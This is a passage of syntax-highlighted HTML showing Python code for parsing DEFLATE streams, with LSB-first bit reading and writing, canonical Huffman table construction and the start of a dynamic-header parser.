<span><span style="color: #403F53">            </span><span style="color: #994CC3">return</span><span style="color: #403F53"> tree[key]</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">raise</span><span style="color: #403F53"> </span><span style="color: #4876D6">ValueError</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">No matching code in tree</span><span style="color: #111111">&quot;</span><span style="color: #403F53">)</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> typing </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> Tuple, Dict, List</span></span>
<span></span>
<span><span style="color: #C792EA">class</span><span style="color: #D6DEEB"> </span><span style="color: #FFCB8B">BitReader</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">__init__</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">self</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">data</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">bitpos</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.data </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> data</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bytepos </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> bitpos </span><span style="color: #C792EA">//</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">8</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bitpos </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> bitpos </span><span style="color: #C792EA">%</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">8</span><span style="color: #D6DEEB">  </span><span style="color: #637777"># 0..7, LSB-first within each byte (deflate)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.total_bits_read </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> bitpos</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">read_bits</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">self</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">n</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">int</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> -&gt; </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span><span style="color: #ECC48D">Read n bits (n &lt;= 32) and return as integer (LSB-first).</span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">        val </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">        bits_read </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> bits_read </span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB"> n:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bytepos </span><span style="color: #C792EA">&gt;=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #8EACE3">self</span><span style="color: #82AAFF">.data</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #C792EA">raise</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">EOFError</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">Not enough data while reading bits</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            avail </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">8</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bitpos</span></span>
<span><span style="color: #D6DEEB">            take </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">min</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">n </span><span style="color: #C792EA">-</span><span style="color: #82AAFF"> bits_read</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> avail</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            current_byte </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.data[</span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bytepos]</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #637777"># extract bits (LSB-first)</span></span>
<span><span style="color: #D6DEEB">            chunk </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (current_byte </span><span style="color: #C792EA">&gt;&gt;</span><span style="color: #D6DEEB"> </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bitpos) </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> ((</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> take) </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            val </span><span style="color: #C792EA">|=</span><span style="color: #D6DEEB"> chunk </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> bits_read</span></span>
<span><span style="color: #D6DEEB">            bits_read </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> take</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bitpos </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> take</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.total_bits_read </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> take</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bitpos </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">8</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bitpos </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bytepos </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> val</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get_bitpos</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">self</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.total_bits_read</span></span>
<span></span>
<span><span style="color: #C792EA">class</span><span style="color: #D6DEEB"> </span><span style="color: #FFCB8B">BitWriter</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">__init__</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">self</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bytes </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytearray</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.current_byte </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bit_count </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">write_bits</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">self</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">num_bits</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">int</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">num_bits</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">            bit </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (value </span><span style="color: #C792EA">&gt;&gt;</span><span style="color: #D6DEEB"> i) </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.current_byte </span><span style="color: #C792EA">|=</span><span style="color: #D6DEEB"> bit </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bit_count</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bit_count </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bit_count </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">8</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bytes.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #8EACE3">self</span><span style="color: #82AAFF">.current_byte</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.current_byte </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">                </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bit_count </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">get_bytes</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">self</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> -&gt; </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bit_count </span><span style="color: #C792EA">&gt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #8EACE3">self</span><span style="color: #D6DEEB">.bytes.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #8EACE3">self</span><span style="color: #82AAFF">.current_byte</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">(</span><span style="color: #8EACE3">self</span><span style="color: #82AAFF">.bytes</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">reverse_bits</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">bitlen</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">int</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> -&gt; </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span><span style="color: #ECC48D">Reverse `bitlen` lowest bits of value.</span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">    rev </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> _ </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">bitlen</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        rev </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (rev </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">|</span><span style="color: #D6DEEB"> (value </span><span style="color: #C792EA">&amp;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        value </span><span style="color: #C792EA">&gt;&gt;=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> rev</span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">build_canonical_huffman</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">code_lengths</span><span style="color: #D6DEEB">: List[</span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> -&gt; Tuple[Dict[Tuple[</span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">,</span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">], </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">], </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">]:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #ECC48D">    Build canonical Huffman mapping from symbol -&gt; length to (code_rev, length) -&gt; symbol,</span></span>
<span><span style="color: #ECC48D">    where code_rev is the integer value you&#39;d get by reading bits LSB-first from the stream.</span></span>
<span><span style="color: #ECC48D">    Returns (mapping, max_length).</span></span>
<span><span style="color: #ECC48D">    mapping keys are (code_as_int_read_lsb_first, length) -&gt; symbol</span></span>
<span><span style="color: #ECC48D">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">    max_bits </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">max</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">code_lengths</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> code_lengths </span><span style="color: #C792EA">else</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># Count of codes for each length</span></span>
<span><span style="color: #D6DEEB">    bl_count </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> (max_bits </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> l </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> code_lengths:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> l </span><span style="color: #C792EA">&gt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            bl_count[l] </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># Determine the first code for each length (canonical)</span></span>
<span><span style="color: #D6DEEB">    next_code </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> (max_bits </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    code </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> bits </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">1</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> max_bits </span><span style="color: #C792EA">+</span><span style="color: #82AAFF"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        code </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> (code </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> bl_count[bits </span><span style="color: #C792EA">-</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">]) </span><span style="color: #C792EA">&lt;&lt;</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">        next_code[bits] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> code</span></span>
<span></span>
<span><span style="color: #D6DEEB">    mapping: Dict[Tuple[</span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">,</span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">], </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB">] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> {}</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> symbol, length </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">enumerate</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">code_lengths</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> length </span><span style="color: #C792EA">!=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">            assigned_code </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> next_code[length]</span></span>
<span><span style="color: #D6DEEB">            next_code[length] </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #637777"># canonical codes are MSB-first; but DEFLATE bitstream is LSB-first,</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #637777"># so reverse bits when storing for direct lookup of bit sequences read LSB-first.</span></span>
<span><span style="color: #D6DEEB">            code_lsb_first </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">reverse_bits</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">assigned_code</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> length</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">            mapping[(code_lsb_first, length)] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> symbol</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> mapping, max_bits</span></span>
<span></span>
<span><span style="color: #637777"># order of code length code lengths (RFC 1951 3.2.7)</span></span>
<span><span style="color: #82AAFF">CL_ORDER</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[</span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">17</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">18</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">8</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">7</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">9</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">6</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">10</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">5</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">11</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">4</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">12</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">3</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">13</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">2</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">14</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">,</span><span style="color: #F78C6C">15</span><span style="color: #D9F5DD">]</span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">parse_deflate_dynamic_header</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">data</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">bytes</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">bitpos</span><span style="color: #D6DEEB">: </span><span style="color: #C5E478">int</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #ECC48D">    Parse a dynamic Huffman header from a deflate stream starting at given bitpos.</span></span>
<span><span style="color: #ECC48D">    Returns (litlen_tree, dist_tree, bits_consumed, nlits, ndists, code_lengths) where:</span></span>
<span><span style="color: #ECC48D">      - litlen_tree and dist_tree: mapping (code_as_int_read_lsb_first, length) -&gt; symbol</span></span>
<span><span style="color: #ECC48D">      - bits_consumed: number of bits consumed from the starting bitpos</span></span>
<span><span style="color: #ECC48D">      - nlits: number of literal/length codes (HLIT + 257)</span></span>
<span><span style="color: #ECC48D">      - ndists: number of distance codes (HDIST + 1)</span></span>
<span><span style="color: #ECC48D">      - code_lengths: combined list of literal+distance code lengths</span></span>
<span><span style="color: #ECC48D">    </span><span style="color: #D9F5DD">&quot;&quot;&quot;</span></span>
<span><span style="color: #D6DEEB">    br </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">BitReader</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">data</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> bitpos</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">HLIT</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> br.</span><span style="color: #B2CCD6">read_bits</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">5</span><span style="color: #D6DEEB">)      </span><span style="color: #637777"># number of literal/length codes - 257</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">HDIST</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> br.</span><span style="color: #B2CCD6">read_bits</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">5</span><span style="color: #D6DEEB">)     </span><span style="color: #637777"># number of distance codes - 1</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">HCLEN</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> br.</span><span style="color: #B2CCD6">read_bits</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">4</span><span style="color: #D6DEEB">)     </span><span style="color: #637777"># number of code length codes - 4</span></span>
<span></span>
<span><span style="color: #D6DEEB">    nlits </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">HLIT</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">257</span></span>
<span><span style="color: #D6DEEB">    ndists </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">HDIST</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">    nclen </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">HCLEN</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">4</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># read code length code lengths (3 bits each) in CL_ORDER</span></span>
<span><span style="color: #D6DEEB">    cl_code_lengths </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[</span><span style="color: #F78C6C">0</span><span style="color: #D9F5DD">]</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">19</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">for</span><span style="color: #D6DEEB"> i </span><span style="color: #C792EA">in</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">range</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">nclen</span><span style="color: #D6DEEB">):</span></span>
<span><span style="color: #D6DEEB">        val </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> br.</span><span style="color: #B2CCD6">read_bits</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">3</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">        cl_code_lengths[</span><span style="color: #82AAFF">CL_ORDER</span><span style="color: #D6DEEB">[i]] </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> val</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># build Huffman for code-length alphabet (symbols 0..18)</span></span>
<span><span style="color: #D6DEEB">    cl_mapping, cl_maxbits </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">build_canonical_huffman</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">cl_code_lengths</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #637777"># helper to decode one symbol from a mapping</span></span>
